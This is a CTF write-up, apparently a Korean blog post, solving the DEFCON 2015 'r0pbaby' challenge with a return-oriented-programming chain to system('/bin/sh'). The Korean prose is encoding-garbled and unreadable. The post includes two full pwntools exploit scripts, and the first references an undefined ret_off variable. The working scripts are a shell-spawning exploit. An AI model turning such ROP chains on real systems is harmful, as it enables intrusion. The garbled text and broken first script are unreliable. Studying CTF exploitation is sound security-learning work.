wargame ๐Ÿด‍โ˜ ๏ธ write-up/contest probs

r0pbaby

Kortsec1 2023. 1. 3. 05:47

2015 DEFCON CTF ๋ฌธ์ œ r0pbaby - Baby's First 1

 

ํŒŒ์ผ ์ด๋ฆ„๋ถ€ํ„ฐ rop(Return Oriented Programming) ๊ธฐ๋ฒ•์„ ์•”์‹œํ•ฉ๋‹ˆ๋‹ค.

dynamically linked, NX enabled๋ฅผ ํ†ตํ•ด rtl(Return To Library)๋ฅผ ๊ณ ๋ คํ•ด ๋‘ก์‹œ๋‹ค.

 

๋จผ์ € ์‹คํ–‰์„ ์‹œ์ผœ๋ณผ๊นŒ์š”

execute.png

<libc, ํ•จ์ˆ˜>์˜ ์ฃผ์†Œ๋ฅผ ๋ฐ›์„ ์ˆ˜ ์žˆ๊ณ , ์Šคํƒ์— ์ž…๋ ฅ์„ ํ•  ์ˆ˜ ์žˆ๋„ค์š”.

gdb์—์„œ ์‹คํ–‰ ํ›„ ๊ณผ์—ฐ ์˜ฌ๋ฐ”๋ฅธ ์ฃผ์†Œ์ธ์ง€ ์•Œ์•„๋ด…์‹œ๋‹ค.

 

gdb ์‹คํ–‰ ํ›„, Ctrl+C๋กœ ์ผ์‹œ์ •์ง€ ํ•ฉ๋‹ˆ๋‹ค.
ํ”„๋กœ๊ทธ๋žจ์ด ๋ฑ‰์€ libc ์ฃผ์†Œ์™€ ์‹ค์ œ ์ฃผ์†Œ๋ฅผ ๋น„๊ตํ•ด ๋ด…๋‹ˆ๋‹ค.

 

ํ”„๋กœ๊ทธ๋žจ์„ ํ†ตํ•ด ์•Œ๊ฒŒ ๋œ libc ์ฃผ์†Œ๋Š” ํฌ์ธํ„ฐ ์ฃผ์†Œ๋กœ ๋ณด์ž…๋‹ˆ๋‹ค.

ํฌ์ธํ„ฐ ์ฃผ์†Œ๋ฅผ ๊ฐ€์ง€๊ณ  offset ์ž‘์—…์„ ํ•˜๊ธฐ์—๋Š” ๋ฌด๋ฆฌ๊ฐ€ ์žˆ๊ธฐ์—, 1๋ฒˆ ๋ฉ”๋‰ด๋Š” ์ œ์™ธํ•˜๊ณ  ๋ฌธ์ œ๋ฅผ ํ’€์–ด๋‚˜๊ฐ€์•ผ ๊ฒ ๋„ค์š”.

 

๊ทธ๋ ‡๋‹ค๋ฉด 2๋ฒˆ ๋ฉ”๋‰ด, ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋Š” ์–ด๋–จ๊นŒ์š”?

 

2๋ฒˆ ๋ฉ”๋‰ด์˜ system ํ•จ์ˆ˜ ์ฃผ์†Œ
์‹ค์ œ system ํ•จ์ˆ˜์˜ ์ฃผ์†Œ

 

๋™์ผํ•ฉ๋‹ˆ๋‹ค.

2๋ฒˆ ๋ฉ”๋‰ด๋Š” ๋ฏฟ๊ณ  ์‚ฌ์šฉํ•ด๋„ ๋˜๊ฒ ๋„ค์š”.

 

๋‹ค์Œ์œผ๋กœ 3๋ฒˆ ๋ฉ”๋‰ด๋ฅผ ์‚ดํŽด๋ณผ๊นŒ์š”.

 

RBP(0x7fffffffdee0)์— ์ž…๋ ฅ๊ฐ’์„ ๋ฐ›๋Š”๋‹ค.

 

3๋ฒˆ ๋ฉ”๋‰ด์— breakpoint๋ฅผ ๊ฑธ์–ด์ฃผ๊ณ  ์ญ‰ ๋‚ด๋ ค๊ฐ€๋‹ค๋ณด๋ฉด, memcpy๊ฐ€ ๋‚˜์˜ต๋‹ˆ๋‹ค.

rbp๋ถ€ํ„ฐ ๋ฐ”๋กœ ์ž…๋ ฅ์ด ๋“ค์–ด๊ฐ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‹ค์ œ๋กœ, ida๋กœ ๊นŒ๋ณด๋ฉด rbp์— ๋ฐ”๋กœ ์ž…๋ ฅ๋˜๋Š” ๋ชจ์Šต์„ ์‰ฝ๊ฒŒ ํ™•์ธํ• ์ˆ˜ ์žˆ์ฃ .

์ตœ์ข…์ ์œผ๋กœ savedregs์œผ๋กœ ์˜ฎ๊ฒจ์ง€๋Š” ๋ชจ์Šต
savedregs์˜ ์œ„์น˜

๋˜ํ•œ, ๊ณ„์†ํ•ด์„œ ๋ณด๋ฉด ๋ณ„๋‹ค๋ฅธ dummy์—†์ด ๋ฐ”๋กœ ret addr๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

 

 

์ด์ œ payload ๊ตฌ์„ฑ์„ ํ•ด๋ด…์‹œ๋‹ค.

dummy(8) pr(pop rdi, ret) "/bin/sh" pointer system func

pr์€ system ํ•จ์ˆ˜์˜ ์ธ์ž๋ฅผ ์ „๋‹ฌํ•  pop rdi์™€ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ret๋กœ ๊ตฌ์„ฑ๋œ ๊ฐ€์ ฏ์ž…๋‹ˆ๋‹ค.

 

64bit ํ”„๋กœ๊ทธ๋žจ์€ ์Šคํƒ์„ ํ†ตํ•ด ํ•จ์ˆ˜์ธ์ž๋ฅผ ์ „๋‹ฌํ•˜๋˜ 32bitํ”„๋กœ๊ทธ๋žจ๊ณผ๋Š” ๋‹ฌ๋ฆฌ,

rdi, rsi, rdx ... ์˜ ์ˆœ์œผ๋กœ ์ธ์ž๋ฅผ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค.

32/64 ํ•จ์ˆ˜ ์ธ์ž ์ „๋‹ฌ ๊ณผ์ •

 

system("/bin/sh")๋ฅผ ์œ„ํ•ด

์ด์ œ ๊ฐ ์ธ์ž(pr, "bin/sh")์˜ offset์„ ๊ตฌํ•ด์•ผ๊ฒ ๋„ค์š”.

* offset์„ ๊ตฌํ•˜๋Š” ์ด์œ ๋Š” ํ•ด๋‹น ํ”„๋กœ๊ทธ๋žจ์ด aslr์ด ๊ฑธ๋ ค์žˆ๊ธฐ ๋•Œ๋ฌธ์ด์ฃ .

 

pr ๊ณผ binsh๋Š” ๊ฐ๊ฐ rp++์™€ strings๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด ๊ตฌํ•ด๋ดค์Šต๋‹ˆ๋‹ค.

 

 

1)  pr

rp++

-r ์˜ต์…˜์€ ๊ฐ€์ ฏ์† ๋ช…๋ น์˜ ์ตœ๋Œ€ ํฌ๊ธฐ(2)๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

์•„๋ž˜๋กœ ๋‚ด๋ ค๋ณด๋ฉด ์ˆ˜๋งŽ์€ "pop rdi ; ret" ๊ฐ€์ ฏ์ด ๋‚˜์˜ต๋‹ˆ๋‹ค.

๋งŽ์€ ์ˆ˜์˜ ๊ฐ€์ ฏ๋“ค

์ด ์ค‘ ์•„๋ฌด๊ฑฐ๋‚˜ ํ•˜๋‚˜๋ฅผ ๊ณจ๋ผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

 

 

2) binsh

binsh๋Š” ๋ฆฌ๋ˆ…์Šค ๊ธฐ๋ณธ ๋ช…๋ น์–ด strings๋ฅผ ์ด์šฉํ•ด๋ด…์‹œ๋‹ค.

strings์˜ ์˜ต์…˜๋“ค

 

strings ์‹คํ–‰ ๋ชจ์Šต

-tx ์˜ต์…˜์€ ๋ฌธ์ž์—ด์˜ ์œ„์น˜๋ฅผ 16์ง„์ˆ˜๋กœ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

 

์ด๋ ‡๊ฒŒ ํ•„์š”ํ•œ offset๋“ค์€ ๋‹ค ์ฐพ์•˜์Šต๋‹ˆ๋‹ค.

์ด์ œ pwntools๋ฅผ ์ด์šฉํ•ด์„œ exploitํ•ด๋ด…์‹œ๋‹ค.

 

#! /usr/bin/python3
from pwn import *

filename = "./r0pbaby"
p = process(filename)
libc = ELF("./libc.so.6")

# offsets of frags
binsh_off = 0x1d8698
pr_off = 0x0012d7ad

'''
Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
'''

# get system address(static)
p.recv()
p.sendline(b'2')
p.recv() # Enter symbol:  
p.sendline(b"system")

p.recvuntil(b"Symbol system: 0x")
tmp = int(p.recvline(), 16)
system_addr = tmp
log.info("system function address : 0x%x" % system_addr)
p.recv()

# calculate libc_main, binsh, pr address(static)
libc_main_addr = system_addr - libc.symbols['system']
binsh_addr = libc_main_addr + binsh_off
pr_addr = libc_main_addr + pr_off
ret_addr =  libc_main_addr + ret_off

log.info("libc main address : 0x%x" % libc_main_addr)
log.info("\"/bin/sh\" address : 0x%x" % binsh_addr)
log.info("\"pop edi ; ret\" address : 0x%x" % pr_addr)
log.info("\"ret\" address : 0x%x" % ret_addr)

# attack
# dummy(8) | pr(8) | binsh(8) | system(8)
payload = b'A'*8
payload += p64(pr_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.sendline(b'3')
p.recv()
p.sendline(str(len(payload) + 1).encode('utf-8'))
p.sendline(payload)
p.recv()

p.sendline(b'4')
p.recv()
p.interactive()

 

์ด์ œ ์‹คํ–‰์„ ์‹œ์ผœ๋ณด๋ฉด..!!

๋˜๋Š” ์‚ฌ๋žŒ๋„, ์•ˆ๋˜๋Š” ์‚ฌ๋žŒ๋„ ์žˆ์„ํ…๋ฐ์š”.

์•ˆ๋˜์„œ ๋งŽ์ด ๋†€๋ผ์…จ์ฃ ? ์ €๋Š” ๋†€๋žŒ..

 

์ค‘๊ฐ„์ค‘๊ฐ„ pause๋ฅผ ๊ฑธ๊ณ  gdb๋กœ ๋œฏ์–ด๋ณด๋‹ˆ, ์ž˜ ์‹คํ–‰๋˜๋‹ค do_system์—์„œ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค..

do_system ์˜ค๋ฅ˜

์™œ๊ทธ๋Ÿฌ์ง€..? ํ•˜๊ณ  ์ฐพ์•„๋ณด๋‹ˆ

Ubuntu 18.04๋ถ€ํ„ฐ ํšจ์œจ์ƒ์˜ ๋ฌธ์ œ๋กœ stack์˜ top, ์ฆ‰ rsp๋ฅผ 16์˜ ๋ฐฐ์ˆ˜๋กœ ๋งž์ถฐ์ฃผ์–ด์•ผ ํ•œ๋‹ค๋„ค์š”..

์ฐธ์กฐ : https://hackyboiz.github.io/2020/12/06/fabu1ous/x64-stack-alignment/

์ž์„ธํ•œ ์„ค๋ช…์€ ์ •๋ณด๋ฅผ ๋ชจ์•„ ๋‚˜์ค‘์— ํฌ์ŠคํŒ… ํ•ด๋ด์•ผ๊ฒ ๋„ค์š”.

 

๊ทธ๋ฆฌํ•˜์—ฌ payload์˜ ๋‘ ๋ฒˆ์งธ pr์‹œ rsp๋ฅผ 16์˜ ๋ฐฐ์ˆ˜๋กœ ๋งž์ถฐ์ฃผ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿผ dummy์™€ pr ์‚ฌ์ด์— return ๊ฐ€์ ฏ์„ ์ถ”๊ฐ€ํ•˜์—ฌ ๋ฐ€์–ด๋‚ผ์ˆ˜ ์žˆ๊ฒ ์Šต๋‹ˆ๋‹ค.

์—„๋ฐ€ํžˆ ๋งํ•˜๋ฉด ๊นจ์งˆ stack align์„ ret๋ฅผ ํ†ตํ•ด ๋ฏธ๋ฆฌ ๊นจ๊ณ  ์กฐ๋ฆฝํ•ด์ฃผ๋Š”..

dummy(8) ret pr(pop rdi, ret) "/bin/sh" pointer system func

 

๋‹ค์‹œ ๊ณต๊ฒฉ ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ ์‹คํ–‰์‹œ์ผœ ๋ด…์‹œ๋‹ค.

#! /usr/bin/python3
from pwn import *

filename = "./r0pbaby"
p = process(filename)
libc = ELF("./libc.so.6")

# offsets of frags
binsh_off = 0x1d8698
pr_off = 0x0012d7ad
ret_off = 0x001b403e

'''
Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
'''

# get system address(static)
p.recv()
p.sendline(b'2')
p.recv() # Enter symbol:  
p.sendline(b"system")

p.recvuntil(b"Symbol system: 0x")
tmp = int(p.recvline(), 16)
system_addr = tmp
log.info("system function address : 0x%x" % system_addr)
p.recv()

# calculate libc_main, binsh, pr, ret address(static)
libc_main_addr = system_addr - libc.symbols['system']
binsh_addr = libc_main_addr + binsh_off
pr_addr = libc_main_addr + pr_off
ret_addr =  libc_main_addr + ret_off

log.info("libc main address : 0x%x" % libc_main_addr)
log.info("\"/bin/sh\" address : 0x%x" % binsh_addr)
log.info("\"pop edi ; ret\" address : 0x%x" % pr_addr)
log.info("\"ret\" address : 0x%x" % ret_addr)

# attack
# dummy(8) | ret(8) | pr(8) | binsh(8) | system(8)
payload = b'A'*8
payload += p64(ret_addr)
payload += p64(pr_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.sendline(b'3')
p.recv()
p.sendline(str(len(payload) + 1).encode('utf-8'))
p.sendline(payload)
p.recv()

p.sendline(b'4')
p.recv()
p.interactive()

 

์‰˜์„ ๋”ฐ๋‚ธ ๋ชจ์Šต

์„ฑ๊ณต์ ์œผ๋กœ ์‰˜์ด ๋”ฐ์ง‘๋‹ˆ๋‹ค.

๋งค์šฐ ๊ฐ„๋‹จํ•˜์ง€๋งŒ ๋ณต์žกํ•œ(movaps...) r0pbaby๋ฌธ์ œ์˜€์Šต๋‹ˆ๋‹ค.

 

๋™ํฌ์ฒญ๋…„, ์ด์ œ stack alignment๋Š” ์ง€ํ‚ค์ž๊ณ